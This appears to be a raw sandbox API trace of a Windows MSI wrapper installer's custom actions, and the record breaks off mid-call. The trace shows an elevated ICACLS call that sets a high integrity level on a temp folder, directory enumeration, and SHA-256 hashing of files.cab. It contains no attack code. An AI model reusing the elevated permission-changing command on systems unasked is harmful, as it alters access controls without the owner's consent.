0x0 [0150.658] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x5e) returned 0 [0150.660] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4392c8 | out: hHeap=0x400000) returned 1 [0150.660] MsiCloseHandle (hAny=0x5e) returned 0x0 [0150.660] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0150.660] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0150.660] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0150.660] VerSetConditionMask (ConditionMask=0x1801b, TypeMask=0x80000000, Condition=0x10) returned 0x1b01b [0150.660] VerifyVersionInfoW (in: lpVersionInformation=0x214f148, dwTypeMask=0x33, dwlConditionMask=0x1b01b | out: lpVersionInformation=0x214f148) returned 1 [0150.660] GetCurrentProcess () returned 0xffffffff [0150.660] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x214f270 | out: TokenHandle=0x214f270*=0x184) returned 1 [0150.661] GetTokenInformation (in: TokenHandle=0x184, TokenInformationClass=0x14, TokenInformation=0x214f268, TokenInformationLength=0x4, ReturnLength=0x214f26c | out: TokenInformation=0x214f268, ReturnLength=0x214f26c) returned 1 [0150.661] CloseHandle (hObject=0x184) returned 1 [0150.661] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.661] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0xd0) returned 0x437160 [0150.661] MsiCreateRecord (cParams=0x2) returned 0x5f [0150.662] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x41bb10 [0150.662] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x41bb10, Size=0x100) returned 0x43a3e8 [0150.662] MsiRecordSetStringW (hRecord=0x5f, iField=0x0, szValue="-- CUSTOM ACTION -- Protect folder: C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\") returned 0x0 [0150.663] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x5f) returned 0 [0150.665] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a3e8 | out: hHeap=0x400000) returned 1 [0150.665] MsiCloseHandle (hAny=0x5f) returned 0x0 [0150.665] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x437160 | out: hHeap=0x400000) returned 1 [0150.665] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x74a0b65c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 35 [0150.665] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x60) returned 0x4392c8 [0150.665] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x74a0b65c, cbMultiByte=-1, lpWideCharStr=0x4392d8, cchWideChar=34 | out: lpWideCharStr=".\" /SETINTEGRITYLEVEL (CI)(OI)HIGHity muꙥ⧵阗") returned 0 [0150.665] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x74a0b680, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0150.666] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x439c50 [0150.666] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x74a0b680, cbMultiByte=-1, lpWideCharStr=0x439c60, cchWideChar=1 | out: lpWideCharStr="\"b-94de-珺᫘a耀\x16c9763e3\\msiwrap珧᫘r耀\x1bni") returned 0 [0150.666] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xb0) returned 0x43a3e8 [0150.666] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x100) returned 0x43a4a0 [0150.666] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a3e8 | out: hHeap=0x400000) returned 1 [0150.666] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439c50 | out: hHeap=0x400000) returned 1 [0150.667] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4392c8 | out: hHeap=0x400000) returned 1 [0150.667] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x214f058 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0150.671] PathAppendW (in: pszPath="C:\\Windows\\system32", pMore="ICACLS.EXE" | out: pszPath="C:\\Windows\\system32\\ICACLS.EXE") returned 1 [0150.671] ShellExecuteExW (in: pExecInfo=0x214f014*(cbSize=0x3c, fMask=0x8140, hwnd=0x0, lpVerb="runas", lpFile="C:\\Windows\\system32\\ICACLS.EXE", lpParameters="\"C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\.\" /SETINTEGRITYLEVEL (CI)(OI)HIGH", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x214f014*(cbSize=0x3c, fMask=0x8140, hwnd=0x0, lpVerb="runas", lpFile="C:\\Windows\\system32\\ICACLS.EXE", lpParameters="\"C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\.\" /SETINTEGRITYLEVEL (CI)(OI)HIGH", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x298)) returned 1 [0156.440] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0x4e20) returned 0x0 [0157.041] GetExitCodeProcess (in: hProcess=0x298, lpExitCode=0x214f050 | out: lpExitCode=0x214f050*=0x0) returned 1 [0157.042] CloseHandle (hObject=0x298) returned 1 [0157.043] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a4a0 | out: hHeap=0x400000) returned 1 [0157.043] MsiCreateRecord (cParams=0x2) returned 0x60 [0157.057] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x45b5d8 [0157.058] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x45b5d8, Size=0x80) returned 0x447f08 [0157.058] MsiRecordSetStringW (hRecord=0x60, iField=0x0, szValue="-- CUSTOM ACTION -- Check session folder integrity") returned 0x0 [0157.059] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x60) returned 0 [0157.069] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x447f08 | out: hHeap=0x400000) returned 1 [0157.069] MsiCloseHandle (hAny=0x60) returned 0x0 [0157.071] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xb0) returned 0x462378 [0157.072] FindFirstFileW (in: lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\*"), lpFindFileData=0x214f310 | out: lpFindFileData=0x214f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7d445090, ftCreationTime.dwHighDateTime=0x1d8a8f3, ftLastAccessTime.dwLowDateTime=0x7d718ab0, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0x7d718ab0, ftLastWriteTime.dwHighDateTime=0x1d8a8f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x214f44c, dwReserved1=0x76f42121, cFileName=".", cAlternateFileName="")) returned 0x436420 [0157.072] FindNextFileW (in: hFindFile=0x436420, lpFindFileData=0x214f310 | out: lpFindFileData=0x214f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7d445090, ftCreationTime.dwHighDateTime=0x1d8a8f3, ftLastAccessTime.dwLowDateTime=0x7d718ab0, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0x7d718ab0, ftLastWriteTime.dwHighDateTime=0x1d8a8f3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x214f44c, dwReserved1=0x76f42121, cFileName="..", cAlternateFileName="")) returned 1 [0157.072] FindNextFileW (in: hFindFile=0x436420, lpFindFileData=0x214f310 | out: lpFindFileData=0x214f310*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7d718ab0, ftCreationTime.dwHighDateTime=0x1d8a8f3, ftLastAccessTime.dwLowDateTime=0x7d718ab0, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0x7e85aa30, ftLastWriteTime.dwHighDateTime=0x1d8a8f3, nFileSizeHigh=0x0, nFileSizeLow=0x3a26d0, dwReserved0=0x214f44c, dwReserved1=0x76f42121, cFileName="files.cab", cAlternateFileName="")) returned 1 [0157.072] FindNextFileW (in: hFindFile=0x436420, lpFindFileData=0x214f310 | out: lpFindFileData=0x214f310*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7d4dd610, ftCreationTime.dwHighDateTime=0x1d8a8f3, ftLastAccessTime.dwLowDateTime=0x7d4dd610, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0x7ed1d630, ftLastWriteTime.dwHighDateTime=0x1d8a8f3, nFileSizeHigh=0x0, nFileSizeLow=0x4ca, dwReserved0=0x214f44c, dwReserved1=0x76f42121, cFileName="msiwrapper.ini", cAlternateFileName="MSIWRA~1.INI")) returned 1 [0157.072] FindNextFileW (in: hFindFile=0x436420, lpFindFileData=0x214f310 | out: lpFindFileData=0x214f310*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7d4dd610, ftCreationTime.dwHighDateTime=0x1d8a8f3, ftLastAccessTime.dwLowDateTime=0x7d4dd610, ftLastAccessTime.dwHighDateTime=0x1d8a8f3, ftLastWriteTime.dwLowDateTime=0x7ed1d630, ftLastWriteTime.dwHighDateTime=0x1d8a8f3, nFileSizeHigh=0x0, nFileSizeLow=0x4ca, dwReserved0=0x214f44c, dwReserved1=0x76f42121, cFileName="msiwrapper.ini", cAlternateFileName="MSIWRA~1.INI")) returned 0 [0157.072] FindClose (in: hFindFile=0x436420 | out: hFindFile=0x436420) returned 1 [0157.073] CreateDirectoryW (lpPathName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files\\" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files"), lpSecurityAttributes=0x0) returned 1 [0157.077] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xc0) returned 0x460038 [0157.077] MsiCreateRecord (cParams=0x2) returned 0x61 [0157.078] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x40) returned 0x45b5d8 [0157.078] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x45b5d8, Size=0x70) returned 0x460100 [0157.078] MsiRecordSetStringW (hRecord=0x61, iField=0x0, szValue="-- CUSTOM ACTION -- Validate cabinet file.") returned 0x0 [0157.079] MsiProcessMessage (hInstall=0x46, eMessageType=0x4000000, hRecord=0x61) returned 0 [0157.083] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x460100 | out: hHeap=0x400000) returned 1 [0157.083] MsiCloseHandle (hAny=0x61) returned 0x0 [0157.085] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x298 [0157.085] GetFileSize (in: hFile=0x298, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ca [0157.085] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4cc) returned 0x2412f20 [0157.086] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x4ca, lpNumberOfBytesRead=0x214f210, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f210*=0x4ca, lpOverlapped=0x0) returned 1 [0157.086] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2412f20 | out: hHeap=0x2410000) returned 1 [0157.086] CloseHandle (hObject=0x298) returned 1 [0157.086] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x43a060 [0157.086] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x460100 [0157.087] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a060 | out: hHeap=0x400000) returned 1 [0157.087] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x43a060 [0157.087] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x43a060 | out: hHeap=0x400000) returned 1 [0157.087] CryptAcquireContextW (in: phProv=0x214f1d4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f1d4*=0x447f08) returned 1 [0157.089] CryptCreateHash (in: hProv=0x447f08, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f1d8 | out: phHash=0x214f1d8) returned 1 [0157.090] CryptHashData (hHash=0x436420, pbData=0x436008, dwDataLen=0xb6, dwFlags=0x0) returned 1 [0157.090] CryptHashData (hHash=0x436420, pbData=0x435b20, dwDataLen=0x442, dwFlags=0x0) returned 1 [0157.090] CryptGetHashParam (in: hHash=0x436420, dwParam=0x4, pbData=0x214f180, pdwDataLen=0x214f160, dwFlags=0x0 | out: pbData=0x214f180, pdwDataLen=0x214f160) returned 1 [0157.090] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ef8 [0157.090] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410a78 [0157.090] CryptGetHashParam (in: hHash=0x436420, dwParam=0x2, pbData=0x2410a78, pdwDataLen=0x214f180, dwFlags=0x0 | out: pbData=0x2410a78, pdwDataLen=0x214f180) returned 1 [0157.090] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410aa0 [0157.090] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x18) returned 0x2410f08 [0157.090] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x4) returned 0x2410ab0 [0157.091] GetLastError () returned 0x0 [0157.091] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x20) returned 0x2410b60 [0157.091] GetLastError () returned 0x0 [0157.091] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x40) returned 0x2410b88 [0157.092] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b60 | out: hHeap=0x2410000) returned 1 [0157.092] GetLastError () returned 0x0 [0157.092] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410bd0 [0157.092] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x50) returned 0x2410c28 [0157.092] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410bd0 | out: hHeap=0x2410000) returned 1 [0157.092] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0157.092] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x440510 [0157.092] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2410c28, cbMultiByte=-1, lpWideCharStr=0x440520, cchWideChar=64 | out: lpWideCharStr="c16e7c7abe729791dfb124513c75ab242b5b67ce4bee2255a9e43103ad7b0870") returned 0 [0157.093] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410c28 | out: hHeap=0x2410000) returned 1 [0157.093] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410b88 | out: hHeap=0x2410000) returned 1 [0157.093] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ab0 | out: hHeap=0x2410000) returned 1 [0157.093] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410f08 | out: hHeap=0x2410000) returned 1 [0157.093] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410aa0 | out: hHeap=0x2410000) returned 1 [0157.093] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410a78 | out: hHeap=0x2410000) returned 1 [0157.093] HeapFree (in: hHeap=0x2410000, dwFlags=0x0, lpMem=0x2410ef8 | out: hHeap=0x2410000) returned 1 [0157.093] CryptDestroyHash (hHash=0x436420) returned 1 [0157.094] CryptReleaseContext (hProv=0x447f08, dwFlags=0x0) returned 1 [0157.094] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x440510 | out: hHeap=0x400000) returned 1 [0157.094] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x460100 | out: hHeap=0x400000) returned 1 [0157.094] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0x20) returned 0x43a060 [0157.094] RtlReAllocateHeap (Heap=0x400000, Flags=0x0, Ptr=0x43a060, Size=0x30) returned 0x440e38 [0157.094] RtlAllocateHeap (HeapHandle=0x400000, Flags=0x0, Size=0xa0) returned 0x460100 [0157.095] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x440e38 | out: hHeap=0x400000) returned 1 [0157.095] CreateFileW (lpFileName="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files.cab" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x298 [0157.095] GetFileSize (in: hFile=0x298, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3a26d0 [0157.095] RtlAllocateHeap (HeapHandle=0x2410000, Flags=0x0, Size=0x3e8) returned 0x2412f20 [0157.095] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.096] CryptAcquireContextW (in: phProv=0x214f250, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x214f250*=0x447f08) returned 1 [0157.097] CryptCreateHash (in: hProv=0x447f08, Algid=0x800c, hKey=0x0, dwFlags=0x0, phHash=0x214f254 | out: phHash=0x214f254) returned 1 [0157.097] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.097] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.097] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.097] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.097] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.097] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.097] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.097] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.097] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.097] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.098] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.098] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.098] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.098] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.098] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.098] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.098] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.098] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.098] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.098] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.098] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.098] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.098] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.098] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.098] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.098] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.099] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.099] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.099] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.099] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.099] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.099] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.099] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.099] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.099] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.099] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.099] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.099] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.099] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.099] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.100] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.100] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.100] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.100] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.100] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.100] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, lpNumberOfBytesRead=0x214f248*=0x3e8, lpOverlapped=0x0) returned 1 [0157.100] CryptHashData (hHash=0x436460, pbData=0x2412f20, dwDataLen=0x3e8, dwFlags=0x0) returned 1 [0157.100] ReadFile (in: hFile=0x298, lpBuffer=0x2412f20, nNumberOfBytesToRead=0x3e8, lpNumberOfBytesRead=0x214f248, lpOverlapped=0x0 | out: lpBuffer=0x2412f20*, 